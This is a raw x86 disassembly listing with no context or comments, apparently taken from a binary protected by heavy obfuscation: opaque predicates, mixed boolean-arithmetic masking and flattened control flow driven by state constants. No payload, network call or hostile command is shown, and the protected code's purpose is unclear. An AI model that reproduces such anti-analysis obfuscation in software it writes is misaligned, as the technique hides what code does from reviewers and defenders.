cmp dword [0x1004f90c], 0xa
setge byte [esp + 4]
setl dl
mov ch, al
inc ch
and ch, al
xor ch, 1
mov cl, al
xor cl, ch
or ch, al
xor ch, 1
or ch, cl
mov ah, ch
xor ah, 1
mov dh, ch
and dh, ah
xor dh, 1
mov al, ah
xor al, dh
or dh, ah
xor dh, 1
or al, dh
mov ebx, eax
xor bl, 1
mov cl, al
and cl, bl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
xor cl, ah
or bl, ah
mov al, cl
xor al, bl
or bl, cl
xor bl, 1
or bl, al
mov cl, bl
xor cl, 1
mov al, cl
and al, bl
xor cl, al
xor al, 1
or al, bl
xor al, 1
or al, cl
mov ebx, eax
xor bl, 1
mov cl, bl
and cl, al
xor cl, 1
mov bh, al
xor bh, cl
or cl, al
xor cl, 1
or cl, bh
mov bh, cl
xor bh, 1
and bh, cl
xor bh, 1
or bl, bh
xor bh, al
mov al, bl
xor al, bh
or bh, bl
xor bh, 1
or bh, al
mov al, bh
xor al, 1
mov bl, al
and bl, bh
xor al, bl
xor bl, 1
or bl, bh
xor bl, 1
or bl, al
mov cl, dl
mov byte [esp + 8], dl
inc dl
and dl, cl
xor dl, 1
mov al, cl
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov al, dl
xor al, 1
and dl, al
xor dl, 1
mov cl, al
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov al, dl
and dl, bl
xor bl, 1
xor al, 1
and al, bl
or dl, al
mov byte [esp], dl
or dh, ch
mov bl, dh
xor bl, 1
mov al, bl
and al, dh
mov cl, bl
xor cl, al
xor al, 1
or al, dh
xor al, 1
or al, cl
mov cl, al
xor cl, 1
mov bh, bl
and bh, cl
and al, dh
or al, bh
xor cl, al
and cl, al
mov dl, cl
xor dl, 1
mov bh, cl
and bh, dl
xor bh, 1
or bh, dl
xor bh, 1
or bh, cl
mov al, bh
xor al, 1
and al, ah
or cl, ah
or ah, dl
and bh, ch
xor ch, dl
and ch, dl
xor ah, 1
or ch, ah
xor cl, 1
or cl, bh
or cl, al
mov eax, ecx
xor al, 1
mov dl, ch
xor dl, 1
and al, dl
and ch, cl
or ch, al
or dl, cl
xor ch, 1
mov al, ch
xor al, dl
or ch, dl
xor ch, 1
or ch, al
mov cl, ch
xor cl, 1
mov ah, byte [esp + 4]
mov dl, ah
and dl, cl
mov al, ch
mov bh, byte [esp + 8]
and al, bh
or al, dl
xor al, 1
or al, cl
mov cl, al
xor cl, 1
or ch, bh
mov dl, ch
xor dl, 1
and dl, al
or al, ch
and ch, cl
or ch, dl
xor ch, 1
mov cl, al
xor cl, ch
or ch, al
xor ch, 1
or ch, cl
mov cl, bh
xor bl, bh
mov dl, ah
xor dl, bl
and dl, bl
mov al, dh
xor al, cl
or dh, cl
and dh, al
mov ah, dl
xor ah, 1
mov cl, dh
xor cl, 1
and ah, dl
xor ah, 1
mov al, dl
xor al, ah
or ah, dl
xor ah, 1
or ah, al
mov al, ah
xor al, 1
and al, cl
and ah, dh
mov cl, dl
xor cl, dh
or dh, dl
xor dh, 1
or dh, cl
xor dh, 1
or dh, ah
or dh, al
mov cl, dh
xor cl, 1
mov eax, ecx
and al, dh
xor al, 1
or al, dh
xor al, 1
or al, cl
mov ah, ch
xor ah, 1
mov edx, eax
xor dl, 1
mov cl, ah
xor cl, dl
or ah, dl
and cl, al
xor dl, ch
xor dl, 1
and dl, ch
xor cl, 1
xor dl, 1
mov al, cl
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov ecx, edx
and dl, ah
xor ah, 1
xor cl, 1
mov al, ah
xor al, cl
and al, ah
and cl, ah
or cl, dl
or cl, al
mov dh, cl
xor dh, 1
mov ch, cl
and ch, dh
xor ch, 1
mov al, dh
xor al, ch
mov ah, dh
or ah, ch
xor ah, 1
or ah, al
mov al, ah
xor al, 1
mov dl, al
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, al
mov eax, ecx
xor al, ch
or ch, cl
xor ch, 1
or ch, al
mov ah, ch
xor ah, 1
and dh, ah
and ch, cl
or ch, dh
xor ah, ch
and ah, ch
mov dh, dl
xor dh, 1
mov ch, ah
xor ch, 1
mov ebx, edx
and bl, dh
xor bl, 1
mov al, bl
xor al, dl
or bl, dl
xor bl, 1
or bl, al
mov al, ah
and al, ch
xor al, 1
or al, ch
xor al, 1
or al, ah
mov cl, al
xor cl, 1
and cl, al
xor cl, 1
mov bh, cl
xor bh, al
or cl, al
xor cl, 1
or cl, bh
xor cl, bl
xor dl, ah
xor ah, dh
or ch, dh
xor ch, 1
or ch, dl
mov al, ah
xor al, ch
or ch, ah
xor ch, 1
or ch, al
xor cl, 1
mov eax, ecx
or al, ch
xor al, 1
xor cl, ch
or cl, al
mov ch, byte [esp]
mov al, ch
xor al, 1
mov edx, eax
and dl, ch
mov ah, al
xor ah, dl
xor dl, 1
or dl, ch
xor dl, 1
or dl, ah
xor cl, 1
xor dl, cl
or dl, al
xor dl, 1
xor al, cl
and al, cl
or cl, ch
xor cl, 1
or cl, al
mov ah, cl
xor ah, 1
mov al, dl
or al, cl
xor al, 1
xor cl, dl
or al, cl
or ah, dl
and cl, dl
xor cl, 1
mov dl, ah
xor dl, cl
or cl, ah
xor al, 1
xor cl, 1
or cl, dl
xor cl, al
mov edx, ecx
not dl
and dl, al
test cl, 1
mov edi, 0x36c7af5b
mov esi, 0x903e9923
cmovne edi, esi
test dl, 1
mov eax, 0x36c7af5b
cmove edi, eax
cmovne edi, esi
test cl, 1
cmovne edi, esi
jmp 0x10011930
mov edi, 0x78a5598d
jmp 0x10011930
mov eax, dword [0x1004f908]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
xor esi, 0xd142788d
and esi, ecx
mov edx, ecx
or edx, 0x2ebd8772
mov edi, esi
not edi
mov ebx, edx
and ebx, 0x9e0c5c13
mov ebp, eax
and ebp, 0x4142208c
or ebp, ebx
or edx, edi
and edi, 0x9e0c5c13
and esi, 0x61f3a3ec
or esi, edi
xor esi, ebp
not edx
or edx, esi
mov esi, edx
xor esi, 0x20a48150
xor edx, 0x80024089
and esi, 0x71e4b954
and edx, 0x8e1b46ab
or edx, esi
mov esi, edx
xor esi, 0x21009850
xor edx, 0x8413460b
and edx, 0xd4f7670f
and esi, 0x2b0898f0
or esi, edx
mov edx, esi
xor edx, 0x2b0898f0
xor esi, 0x50c54208
mov edi, eax
and edi, 0x647ff039
and ecx, 0x9b800fc6
or ecx, edi
xor ecx, 0x9b800fc6
xor eax, ecx
and eax, ecx
and esi, 0x7acddaf8
mov edi, edx
and edi, 0x85322507
or edi, esi
mov ecx, edi
xor ecx, 0x85322507
mov esi, eax
not esi
xor edi, 0x8a91ea6d
and edi, ecx
and edx, 0xfa3cf6a
or edx, edi
or ecx, esi
and esi, 0xf05c3095
and eax, 0xfa3cf6a
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
or edx, 0x10098888
mov esi, ecx
or esi, 0xc9503242
and esi, 0xd959baca
and eax, 0x26a24025
or eax, esi
and edx, 0xd959baca
and ecx, 0x40510
or ecx, edx
xor ecx, eax
mov eax, ecx
xor eax, 0xc9543752
xor ecx, 0x1002c8a0
and ecx, 0x5916f9a2
mov edx, eax
and edx, 0xa6e9065d
or edx, ecx
mov ecx, edx
xor ecx, 0xa6e9065d
xor edx, 0x4db6d7a
and edx, ecx
and eax, 0xa2326b27
or eax, edx
mov ecx, eax
xor ecx, 0xa2326b27
xor eax, 0x5dcd94d8
mov edx, eax
and edx, 0x7f337825
mov edi, ecx
and edi, 0x80cc87da
or edi, edx
xor edi, 0x80cc87da
mov esi, edi
xor esi, eax
and esi, edi
and eax, 0x4e7a180e
and ecx, 0xb185e7f1
or ecx, eax
mov eax, ecx
xor eax, 0x4e7a180e
xor ecx, 0xb185e7f1
mov edx, esi
xor edx, ecx
and edx, esi
xor ecx, eax
and ecx, esi
xor ecx, eax
mov eax, edx
not eax
mov esi, ecx
not esi
mov edi, eax
and edi, 0x24f826f5
and edx, 0xdb07d90a
or edx, edi
or eax, esi
and esi, 0x24f826f5
and ecx, 0xdb07d90a
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov esi, eax
not esi
mov ecx, esi
and ecx, 0xfeaf4597
mov edx, eax
and edx, 0x150ba68
or edx, ecx
xor edx, 0x150ba68
mov ecx, esi
and ecx, eax
mov edi, eax
mov dword [esp + 4], eax
or ecx, edx
mov edx, ecx
not edx
or edx, 0x8433da94
mov ebx, esi
and ebx, 0x28da04b2
and edi, 0xd725fb4d
or edi, ebx
xor edi, 0xace9de26
or edi, esi
mov ebx, edi
not ebx
mov ebp, edi
and ebp, 0xfa8dd6f3
xor edi, 0x80bc85f2
and edi, ebx
and ebx, 0x572290c
or ebx, ebp
xor ebx, 0x572290c
mov ebp, ecx
xor ebp, 0x80011290
and ebp, edx
xor ebp, ecx
or edx, ebx
and ebx, 0x7f437a0d
or edi, ebx
xor edi, ebp
mov ecx, edi
xor ecx, 0xff42689d
not edx
or edx, ecx
xor edi, 0x218200
and edi, 0x21c210
mov eax, edx
xor eax, 0x8433da94
and eax, edx
and edx, 0x84121884
or edx, edi
xor edx, 0x84121884
or eax, edx
mov edx, eax
not edx
mov edi, edx
and edi, 0x24000920
mov ebx, eax
and ebx, 0xc8297049
or ebx, edi
mov edi, ebx
xor edi, 0x88282041
xor ebx, 0x37d68fb6
mov ebp, ebx
and ebp, 0x43d1d8bc
and edi, 0xac282141
or edi, ebp
mov ebp, eax
xor ebp, 0xec297969
and ebp, eax
mov ecx, eax
mov dword [esp], eax
mov eax, ebp
not eax
or ebx, eax
and eax, 0x43d1d8bc
and ebp, 0xbc2e2743
or ebp, eax
xor ebp, edi
mov eax, edx
not ebx
or ebx, ebp
not ebx
and eax, 0x1e736495
mov edi, ecx
and edi, 0xe18c9b6a
or edi, eax
xor edi, 0xe18c9b6a
or edi, ebx
mov ecx, dword [esp + 4]
mov eax, ecx
or eax, 0xc0d2d790
and eax, 0xcdd2d79f
mov ebp, esi
and ebp, 0x302d2000
or ebp, eax
mov eax, esi
or eax, 0xd00000f
and eax, 0xcdd2d79f
mov ebx, ecx
and ebx, 0x2000860
or ebx, eax
xor ebx, ebp
xor ebx, 0x2efba699
and esi, 0xd23ee84
mov ebp, ecx
and ebp, 0xf2dc117b
or ebp, esi
mov esi, ebp
xor esi, 0x82501140
xor ebp, 0xd23ee84
mov eax, ebp
and eax, 0x718ecc3b
and esi, 0x8e7133c4
or esi, eax
xor esi, ebx
xor esi, 0x8e7133c4
or ebp, ebx
not ebp
or ebp, esi
mov ebx, ebp
mov ebp, edi
xor ebp, 0x9432ad57
mov ecx, ebx
xor ecx, 0x9432ad57
and ecx, ebx
mov esi, edi
not esi
and esi, edi
xor esi, ebp
mov ebp, ecx
not ebp
mov eax, ebp
and eax, 0x4a0d49d7
and ecx, 0xb5f2b628
or ecx, eax
or edi, ebx
mov eax, ebx
or eax, 0x6bcd52a8
not ebx
or ebp, eax
and eax, 0x4a0d49d7
and ebx, 0x9432a400
or ebx, eax
xor ebx, ecx
not ebp
or ebp, ebx
mov ebx, ebp
xor ebx, ebp
not ebx
and ebx, esi
xor ebx, ebp
mov eax, ebx
and ebx, edi
not edi
not eax
mov esi, edi
xor esi, eax
and esi, edi
and eax, edi
or eax, ebx
or eax, esi
mov esi, eax
not esi
mov ebx, esi
and ebx, 0x401800
mov edi, eax
and edi, 0x28020001
or edi, ebx
xor edi, 0x28020001
mov ebx, eax
xor ebx, 0x29cf5a2f
and ebx, eax
or edi, ebx
not ebx
and ebx, 0x9620a580
and edi, 0x28421801
or edi, ebx
and esi, 0xd223f1ae
and eax, 0x2ddc0e51
or eax, esi
mov esi, eax
xor esi, 0x2ddc0e51
xor eax, 0x82008108
and eax, 0xa2488348
mov ebp, esi
and ebp, 0x5db77cb7
or ebp, eax
mov ebx, edi
mov eax, edi
xor eax, 0x3e400080
and eax, edi
not edi
xor ebp, 0x1c2a3ec9
and esi, 0xbe62bd81
or esi, ebp
and edi, 0x600b3d01
and ebx, 0x9e608080
or ebx, edi
mov edi, ebx
xor edi, 0x9ff4c2fe
xor ebx, 0x5e423fa3
and ebx, edi
mov ecx, edi
mov edi, ebx
not edi
mov ebp, edi
and ebp, 0xdb222858
and ebx, 0x24499781
or ebx, ebp
mov ebp, eax
not ebp
or edi, ebp
and ebp, 0xdb22287a
and eax, 0x24409581
or eax, ebp
xor eax, ebx
mov ebx, edx
mov ebp, ecx
or ebp, esi
xor esi, 0xc1b6fd5d
not edi
or edi, eax
mov eax, esi
xor eax, esi
not eax
and eax, edi
xor eax, esi
mov ecx, dword [esp]
mov esi, ecx
mov edi, ecx
and ebx, 0xda7b90bf
and ecx, 0x25846f40
or ecx, ebx
mov ebx, edx
not ecx
or ecx, edx
not ebp
or ebp, eax
mov dword [esp], ebp
or ebx, 0x211445
or esi, 0xe560b02
and esi, 0xe771f47
and edx, 0xd000e0a8
or edx, esi
and ebx, 0xe771f47
and edi, 0x21880010
or edi, ebx
xor edi, edx
mov esi, edi
xor esi, 0x2fde0b12
mov eax, edi
xor eax, 0xd021f4ed
mov edx, eax
and edx, 0xea97a62c
mov ebx, esi
and ebx, 0x156859d3
or ebx, edx
xor ebx, 0x30ec3693
or ebx, eax
mov edx, ebx
xor edx, ebx
not edx
and edx, ecx
xor edx, ebx
or ebx, ecx
not ebx
or edx, ebx
mov ebx, edx
not ebx
mov ecx, edx
xor ecx, 0xda7b90be
and ecx, edx
or edx, 0x25846f41
mov ebp, edx
and ebp, 0x47436b44
and ebx, 0x983890ba
or ebx, ebp
mov ebp, ecx
not ebp
or edx, ebp
and ebp, 0x47436b44
and ecx, 0xb8bc94bb
or ecx, ebp
xor edi, 0x84c2fac5
and edi, esi
mov ebp, esi
xor ecx, ebx
not edx
or edx, ecx
and eax, 0xf0fdfa3f
and ebp, 0xf0205c0
or ebp, eax
mov ecx, ebp
xor ecx, 0xf0205c0
xor ebp, 0x7038523c
mov eax, ecx
and eax, 0xab1cf1d7
or edi, eax
mov esi, edi
xor esi, 0x50230020
and ebp, 0x7d38567c
mov eax, ecx
and eax, 0x82c7a983
or eax, ebp
mov ebx, eax
xor ebx, 0x7d38567d
and ecx, 1
or ecx, ebx
xor edi, 0xab1cf1d6
mov ebx, edi
and ebx, 0xaec8af0d
and esi, 0x513750f2
or esi, ebx
mov ebx, dword [esp]
mov ebp, ebx
xor ebp, 0x524bc4e9
xor eax, 0x70082
or edi, ecx
and ecx, 0xaec8af0d
and eax, 0x513750f2
or eax, ecx
xor eax, esi
not edi
or edi, eax
mov esi, edi
not esi
and edi, 0x41db0580
and esi, 0xbe24fa7f
or esi, edi
mov eax, esi
xor eax, 0x40c20400
xor esi, 0x620b24a
and eax, 0xf8c64c35
and esi, 0x739b3ca
or esi, eax
mov ecx, esi
xor ecx, 0x739b3ca
mov eax, edx
not eax
xor esi, 0xf8c64c35
and ecx, eax
or eax, esi
not eax
and esi, edx
or esi, ecx
or esi, eax
mov eax, esi
not eax
mov edx, eax
and edx, 0x60145580
mov ecx, esi
and ecx, 0x8810021
or ecx, edx
mov edx, ecx
xor edx, 0x8800000
xor ecx, 0xc51a191c
mov edi, eax
or edi, 0x40111121
and ecx, 0xc51b193d
and edx, 0x28844480
or edx, ecx
and edi, 0xc51b193d
mov ecx, esi
and ecx, 0x1260a242
or ecx, edi
xor ecx, edx
mov edx, ecx
and edx, 0x41490104
xor edx, 0x1480004
and ecx, 0x86020208
or ecx, edx
xor ecx, 0x41490104
or ecx, 0x38b4fcf3
mov edx, ecx
not edx
or eax, 0x47400000
mov edi, ecx
and edi, edx
and ecx, 0x57647831
and edx, 0x800b030c
or edx, ecx
and eax, 0x57647831
and esi, 0x289084c2
or esi, eax
xor esi, edx
or esi, edi
mov eax, esi
xor eax, 0x38b4fcf3
xor esi, 0xc74b030c
mov edx, esi
and edx, 0x4b2eec69
mov ecx, eax
and ecx, 0xb4d11396
or ecx, edx
mov edi, ecx
xor edi, 0x4b2eec69
xor ecx, 0xa4d10314
and esi, 0xe5901e1
and eax, 0xf1a6fe1e
or eax, esi
mov esi, eax
xor esi, 0xa0a0c214
xor eax, 0xe5901e1
mov edx, edi
and edx, 0x59063cea
and ecx, 0xa6f9c315
or ecx, edx
or edi, eax
and eax, 0x59063cea
and esi, 0xa6f9c315
or esi, eax
xor esi, ecx
not edi
or edi, esi
mov eax, edi
not eax
mov edx, eax
mov dword [esp + 0xc], eax
xor ebx, 0xadb43b16
mov eax, ebx
and eax, 0x4b7c7b7f
mov esi, ebp
and esi, 0xb4838480
or esi, eax
mov eax, edi
and eax, 0xa493a9fd
mov ecx, edi
xor ecx, 0x5b6c5602
and ecx, edx
or ecx, eax
mov eax, esi
xor eax, 0xb4838480
mov dword [esp], eax
xor esi, 0x4b7c7b7f
and eax, 0x8c81b7a1
mov edx, esi
mov dword [esp + 4], esi
and edx, 0x737e485e
or edx, eax
xor edx, 0x4ed2073d
and esi, 0xc253b09c
or esi, edx
mov eax, ebx
and eax, 0x8e721df2
and ebp, 0x718de20d
or ebp, eax
xor ebp, 0xb3de5291
xor ebx, ebp
and ebx, ebp
mov ebp, ecx
xor ebp, 0x5b6c5602
xor ecx, 0xa493a9fd
mov dword [esp + 8], ecx
and ecx, 0x2c204501
mov edx, ebp
and edx, 0x118c0a62
or edx, ecx
mov eax, edx
xor eax, 0x200
or eax, 0xc2422014
xor edx, 0xc004500
and edx, 0x1d8c4d62
and eax, 0xe2622215
or eax, edx
mov edx, edi
and edx, 0xa15d3c4b
mov ecx, dword [esp + 0xc]
and ecx, 0x5ea2c3b4
or ecx, edx
xor ecx, 0x9cf17328
xor edi, ecx
and edi, ecx
mov ecx, ebx
and ebx, esi
not esi
not ecx
mov edx, esi
xor edx, ecx
and edx, esi
and ecx, esi
or ecx, ebx
or ecx, edx
mov esi, eax
xor esi, 0x20200001
xor eax, 0x1d9dddea
mov edx, eax
and eax, 0x1b576a12
and esi, 0x24a80561
or esi, eax
mov eax, edi
not eax
or edx, eax
and eax, 0x1b576a12
and edi, 0xe4a895ed
or edi, eax
xor edi, esi
not edx
or edi, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0x1c0a6d80
mov esi, ecx
and esi, 0x40019040
or esi, edx
mov edx, esi
xor edx, 0x40001040
xor esi, 0xbf6e0214
and esi, 0xbf6f8214
and edx, 0x40007dc0
or edx, esi
or eax, 0x1c0b8000
and eax, 0xbf6f8214
and ecx, 0x90002b
or ecx, eax
xor ecx, edx
xor ecx, edi
mov edx, ecx
xor edx, 0x5c0bfdc0
mov esi, dword [esp + 4]
mov eax, esi
mov ebx, dword [esp + 8]
or eax, ebx
not eax
and esi, 0x8f078720
mov edi, esi
mov esi, dword [esp]
and esi, 0x70f878df
or esi, edi
and ebx, 0x8f078720
and ebp, 0x70f878df
or ebp, ebx
xor ebp, esi
or ebp, eax
mov eax, ebp
not eax
mov esi, eax
and esi, 0xdff20acb
and eax, ebp
and ebp, 0x200df534
or ebp, esi
xor ebp, 0x200df534
or ebp, eax
mov eax, ebp
not eax
and ebp, 0x1723369b
and eax, 0xe8dcc964
or eax, ebp
mov esi, eax
xor esi, 0x16232082
xor eax, 0x85c0064
and eax, 0x95c167d
and esi, 0xf6a3e982
or esi, eax
mov ebx, esi
xor ebx, 0xf6a3e982
mov edi, esi
xor edi, 0x95c167d
mov eax, ecx
xor eax, 0xa3f4023f
xor ecx, 0xd59eb865
and ecx, edx
or edx, 0x766aba5a
or ebx, edi
xor esi, 0x7f36ac27
and esi, ebx
mov ebx, edx
and ebx, 0x7952a27d
mov ebp, eax
and ebp, 0x80854580
or ebp, ebx
mov ebx, ecx
not ebx
or edx, ebx
and ebx, 0x7952a27d
and ecx, 0x86ad5d82
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, esi
xor ecx, esi
not ecx
and ecx, edx
xor ecx, esi
or eax, edi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x3443600
mov esi, eax
and esi, 0xa1c058
or esi, edx
xor esi, 0xa1c058
mov edx, eax
xor edx, 0x3e5f658
and edx, eax
or edx, esi
mov esi, edx
xor esi, 0x41a0183
xor edx, 0x21c018
and esi, 0x7de37c3
and edx, 0xf821c83c
or edx, esi
mov esi, edx
xor esi, 0x999eb0f9
xor edx, 0xf821c83c
and edx, esi
mov ebx, ecx
or ebx, 0x94400538
mov esi, eax
and esi, 0x610f5840
and ebx, 0x94f025bd
or ebx, esi
mov esi, ebx
xor esi, 0x902080
xor ebx, 0x6b0fda42
mov ebp, edx
not ebp
mov edi, ebp
or edi, ebx
and ebp, 0xd525c34d
and edx, 0x2ada3cb2
or edx, ebp
and ebx, 0xd525c34d
and esi, 0x209a3880
or esi, ebx
xor esi, edx
mov edx, esi
not edx
mov ebx, edx
and ebx, 0xb0b8a4c5
and esi, 0x4f475b3a
or esi, ebx
or edx, edi
and edi, 0xf1bffcc5
xor edi, esi
xor edi, 0x41075800
not edx
or edx, edi
mov esi, edx
xor esi, 0x61bf78c5
xor edx, 0x9e40873a
mov edi, edx
and edi, 0xb27a31cb
and edx, esi
and esi, 0x4d85ce34
or esi, edi
xor esi, 0x4d85ce34
or esi, edx
mov edx, esi
not edx
mov edi, esi
or edi, 0xae060a9
mov ebx, edx
or ebx, 0x34050004
and edi, 0x3ee560ad
and edx, 0x1000a02
or edx, edi
and ebx, 0x3ee560ad
and esi, 0xc01a9550
or esi, ebx
xor esi, edx
mov edx, esi
xor edx, 0xe0088600
xor esi, 0x1ef5696d
mov edi, esi
and edi, 0xd82309e
and edx, 0xf27dcf61
or edx, edi
xor edx, 0xd98dac0a
or edx, esi
mov esi, edx
not esi
and eax, 0x12e97d2e
and ecx, 0xed1682d1
or ecx, eax
mov eax, ecx
xor eax, 0x12e97d2e
mov edi, ecx
xor edi, 0x39191e45
and edi, eax
xor ecx, 0x441202d0
and ecx, 0x56bb4fd2
and eax, 0xa944b02d
or eax, ecx
xor eax, 0x82b4d346
or eax, edi
mov ecx, eax
not ecx
mov edi, ecx
or edi, 0x8440d40
mov ebx, eax
or ebx, 0x2990084
and ebx, 0xadd0dc4
and ecx, 0xd500b002
or ecx, ebx
and edi, 0xadd0dc4
and eax, 0x20224239
or eax, edi
xor eax, ecx
mov ebx, eax
xor ebx, 0x22bb42bd
mov edi, eax
xor edi, 0xdd44bd42
mov ecx, edi
and ecx, edx
mov ebp, esi
and ebp, ebx
or ebp, ecx
mov ecx, ebp
xor ecx, edx
and ecx, ebp
mov ebp, edx
and ebp, 0xb1080022
xor edx, 0x4ee3ff44
and edx, esi
and esi, 0x140099
or esi, ebp
or edi, ebx
mov ebx, esi
xor ebx, 0x90
xor esi, 0xffebff66
xor eax, 0x93a74206
and eax, edi
mov edi, esi
and edi, 0xcebed34f
and ebx, 0x310000b0
or ebx, edi
mov edi, edx
not edi
or esi, edi
and edi, 0xcebed34f
and edx, 0x31412cb0
or edx, edi
xor edx, ebx
not esi
or esi, edx
xor esi, eax
mov eax, esi
not eax
mov edx, ecx
xor edx, eax
and edx, ecx
xor eax, esi
and eax, ecx
xor eax, esi
or eax, edx
mov edx, eax
not edx
mov esi, eax
and esi, 0xe53ee728
mov ecx, edx
and ecx, 0x1ac118d7
or ecx, esi
mov esi, ecx
xor esi, 0x40c8000
xor ecx, 0x10000800
or ecx, 0x110515a
and esi, 0x60c8000
and ecx, 0x31125f7a
or ecx, esi
mov esi, ecx
xor esi, 0x31125f7a
and edx, 0x40d000df
and eax, 0x89217100
or eax, edx
mov ebx, eax
xor ebx, 0x81006000
or ebx, 0x260c8800
xor eax, 0x40000090
and eax, 0x48211190
and ebx, 0xa7dce84f
or ebx, eax
mov edx, ebx
xor edx, 0x80900045
xor ebx, 0x582317b0
mov edi, esi
xor edi, ebx
and edi, esi
xor ecx, 0xe442080
and ecx, 0xf466a9a
and esi, 0x30088420
or esi, ecx
and ebx, 0xf466a9a
and edx, 0xc0b11145
or edx, ebx
xor edx, esi
mov eax, edi
not eax
mov ecx, edx
not ecx
mov esi, eax
and esi, 0xb2cf083d
and edi, 0x4008600
or edi, esi
or eax, ecx
and ecx, 0xb2cf083d
and edx, 0x4d30f7c2
or edx, ecx
xor edx, edi
not eax
or eax, edx
mov esi, eax
xor esi, 0x1dfeed4b
xor eax, 0xe20112b4
mov edx, esi
and edx, 0xb4f3cd46
and esi, 0x7b1d8849
mov ecx, eax
and ecx, 0x84e277b6
or ecx, esi
xor ecx, 0x84e277b6
or ecx, eax
and eax, 0x4b0c32b9
or eax, edx
mov edx, eax
xor edx, 0x34c30d42
xor eax, 0x1040298
and eax, 0x8134c29c
and edx, 0x7ecb3d63
or edx, eax
mov eax, edx
xor eax, 0x36c92940
xor edx, 0x81348098
and edx, 0xc93694bb
and eax, 0x36c96b44
or eax, edx
mov edx, eax
xor edx, 0x36c96b44
mov ebx, ecx
and ebx, 0x8f39a458
mov esi, ecx
not esi
mov edi, esi
and edi, 0x70c65ba7
or edi, ebx
mov ebx, eax
xor ebx, 0xc93694bb
xor eax, 0x89f79bbd
and eax, edx
mov edx, edi
xor edx, 0x70c65ba7
or edx, ebx
and ebx, 0xbf3ef0f9
or eax, ebx
mov ebx, edi
xor ebx, 0x85182058
or ebx, 0x40000806
xor edi, 0x300250a1
and ebx, 0xc51c285e
and edi, 0x3a22d0a1
or edi, ebx
or ecx, 0x851c2058
and ecx, 0xc51c285e
and esi, 0xc10700
or esi, ecx
xor esi, edi
mov ecx, esi
xor ecx, esi
not ecx
and ecx, eax
xor ecx, esi
mov esi, edx
not esi
mov eax, ecx
not eax
mov edi, eax
and edi, 0x5380f6ee
and ecx, 0xac7f0911
or ecx, edi
or eax, edx
and edx, 0x5380f6ee
and esi, 0xac7f0911
or esi, edx
xor esi, ecx
not eax
or eax, esi
mov ecx, eax
not ecx
and ecx, 0xe2ab9d6e
and eax, 0x1d546291
or eax, ecx
mov ecx, eax
xor ecx, 0x42830d2e
xor eax, 0x1d506211
and ecx, 0x42870dae
and eax, 0xbd78f251
or eax, ecx
mov ecx, eax
xor ecx, 0x42820102
xor eax, 0xc389050
and eax, 0xc3d9cfc
and ecx, 0xf3c26303
or ecx, eax
mov eax, ecx
xor eax, 0x32000101
xor ecx, 0x834108c
and ecx, 0xc9f6728e
and eax, 0x36098d71
or eax, ecx
mov esi, eax
xor esi, 0x36098d71
mov edx, eax
xor edx, 0xc9f6728e
mov ecx, esi
or ecx, 0x8998765b
xor eax, 0x406e04d5
and eax, esi
and esi, 0x14cc1795
mov edi, edx
and edi, 0xeb33e86a
or edi, esi
mov esi, ecx
and esi, 0x5eef37
xor edi, 0xeb33e86a
or edi, edx
and edx, 0x76210080
or edx, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0x5eef37
and eax, 0xffa110c8
or eax, esi
xor eax, edx
not ecx
or ecx, eax
xor ecx, 0x766789a4
not edi
or edi, ecx
mov ecx, edi
mov edx, edi
xor edx, 0xb94e54f3
and edx, edi
mov eax, edi
not eax
or ecx, 0x46b1ab0c
mov esi, ecx
and esi, 0x3f69cf19
mov edi, eax
and edi, 0x800610e2
or edi, esi
mov esi, edx
not esi
or ecx, esi
and esi, 0x3f69cf19
and edx, 0xc09630e6
or edx, esi
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
xor edx, 0x910810b2
xor ecx, 0x44218904
and ecx, 0x6c67cd45
and edx, 0x939832ba
or edx, ecx
xor edx, 0x939832ba
or edx, eax
xor edx, 0x4756afa4
xor edx, 0xb8a9505b
setne byte [esp]
sete dl
mov byte [esp + 4], dl
cmp dword [0x1004f90c], 0xa
setge dh
mov al, dh
inc al
mov ch, dh
and ch, al
xor ch, 1
or ch, al
mov ah, dl
inc ah
mov al, dl
and al, ah
xor al, 1
mov cl, al
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov dl, al
xor dl, 1
mov cl, dl
and cl, al
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
mov al, cl
xor al, 1
mov ebx, eax
and bl, cl
xor bl, 1
or bl, cl
xor bl, 1
or bl, al
mov cl, bl
xor cl, 1
mov bh, cl
and bh, bl
xor bh, 1
or bh, bl
xor bh, 1
or bh, cl
mov al, bl
xor al, bh
or bh, bl
xor bh, 1
or bh, al
mov dl, bh
xor dl, 1
mov al, dl
and al, bh
xor al, 1
or al, bh
xor al, 1
or al, dl
mov bh, al
and al, bl
mov bl, dl
xor bl, cl
xor bh, 1
and bh, cl
or dl, cl
xor ch, 1
or ch, dh
xor dl, 1
or dl, al
or dl, bh
mov bh, bl
xor bh, 1
mov cl, bh
and cl, bl
xor cl, 1
or cl, bl
xor cl, 1
or cl, bh
mov al, cl
xor al, 1
and al, dl
or bh, dl
xor dl, 1
and cl, dl
mov bl, ch
xor bl, 1
or cl, al
xor bh, 1
or bh, cl
mov al, dh
xor al, bh
or bh, dh
xor bh, 1
not al
and al, dh
or al, bh
mov dh, bl
and dh, ch
xor dh, 1
or dh, ch
xor dh, 1
or dh, bl
xor dh, 1
mov bh, byte [esp + 4]
or ah, bh
mov dl, byte [esp]
mov cl, dl
xor cl, ah
or ah, dl
xor ah, 1
or ah, cl
mov cl, dh
xor cl, ah
xor cl, 1
and cl, ah
or ah, dh
xor ah, 1
or ah, cl
and dl, ch
mov cl, bh
mov dh, bh
xor dh, bl
and bl, cl
or bl, dl
xor bl, 1
or bl, ch
xor bl, 1
and dh, cl
or ch, cl
xor dh, 1
mov cl, dh
xor cl, ch
or dh, ch
xor dh, 1
or dh, cl
xor dh, bl
xor dh, 1
and bl, dh
xor bl, 1
mov ecx, ebx
xor cl, dh
or bl, dh
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, 1
